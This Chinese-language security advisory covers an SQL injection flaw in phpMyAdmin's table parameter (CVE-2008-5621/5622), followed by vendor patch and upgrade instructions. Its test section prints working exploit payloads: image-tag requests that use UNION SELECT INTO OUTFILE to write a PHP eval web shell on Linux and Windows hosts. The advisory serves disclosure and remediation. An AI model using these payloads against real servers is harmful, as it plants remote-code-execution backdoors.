安全研究

安全漏洞
phpMyAdmin table参数SQL注入漏洞

发布日期:2008-12-09
更新日期:2008-12-11

受影响系统:
phpMyAdmin phpMyAdmin 3.x
phpMyAdmin phpMyAdmin 2.11.x
不受影响系统:
phpMyAdmin phpMyAdmin 3.1.1.0
phpMyAdmin phpMyAdmin 2.11.9.4
描述:
BUGTRAQ  ID: 32720
CVE(CAN) ID: CVE-2008-5622,CVE-2008-5621

phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL。

phpMyAdmin的./phpmyadmin/libraries/db_table_exists.lib.php文件中没有正确地过滤table参数:

        $_result = PMA_DBI_try_query(
                   'SELECT COUNT(*) FROM `' .
PMA_sqlAddslashes($table, true) . '`;',
                    null, PMA_DBI_QUERY_STORE);
        
PMA_sqlAddslashes()函数仅禁用了单引号,但忽略了反勾号(`)和双引号("),因此远程攻击者可以通过提交恶意请求执行SQL注入攻击。

<*来源:Michael Brooks
  
  链接:http://secunia.com/advisories/33076/
        http://www.phpmyadmin.net/home_page/security/PMASA-2008-10.php
        http://www.milw0rm.com/exploits/7382
        http://www.debian.org/security/2009/dsa-1723
        http://security.gentoo.org/glsa/glsa-200903-32.xml
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

*nix平台:

<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
path:
/var/www/backdoor.php
backdoor:
<?php eval($_GET[e]);?>

Windows平台:

<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+115%2C+116%2C+114%2C+105%2C+112%2C+115%2C+108%2C+97%2C+115%2C+104%2C+101%2C+115%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+41%2C+59%2C+63%2C+62%29+into+outfile+%22c%3A%2Fxampp%2Fhtdocs%2Fbackdoor.php%22+--+1">
</html>
path:
c:/xampp/htdocs/backdoor.php
backdoor:
<?php eval(stripslashes($_GET[e]));?>

建议:
厂商补丁:

Debian
------
Debian已经为此发布了一个安全公告(DSA-1723-1)以及相应补丁:
DSA-1723-1:New phpmyadmin packages fix arbitrary code execution
链接:http://www.debian.org/security/2009/dsa-1723

补丁下载:
Source archives:

http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2.9.1.1-10.dsc
Size/MD5 checksum:     1021 9428b84187a0fc1c893e099987f746f6
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2.9.1.1.orig.tar.gz
Size/MD5 checksum:  3500563 f598509b308bf96aee836eb2338f523c
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2.9.1.1-10.diff.gz
Size/MD5 checksum:    54951 8441cbf454016d4425dddaef569bbd21

Architecture independent packages:

http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2.9.1.1-10_all.deb
Size/MD5 checksum:  3603132 538d80062d8fc4c009e0e0e01ffbacd4

补丁安装方法:

1. 手工安装补丁包:

  首先,使用下面的命令来下载补丁软件:
  # wget url  (url是补丁下载链接地址)

  然后,使用下面的命令来安装补丁:  
  # dpkg -i file.deb (file是相应的补丁名)

2. 使用apt-get自动安装补丁包:

   首先,使用下面的命令更新内部数据库:
   # apt-get update
  
   然后,使用下面的命令安装更新软件包:
   # apt-get upgrade

phpMyAdmin
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revision=12100

Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200903-32)以及相应补丁:
GLSA-200903-32:phpMyAdmin: Multiple vulnerabilities
链接:http://security.gentoo.org/glsa/glsa-200903-32.xml

所有phpMyAdmin用户都应升级到最新版本:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-db/phpmyadmin-2.11.9.4"

浏览次数:4114
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障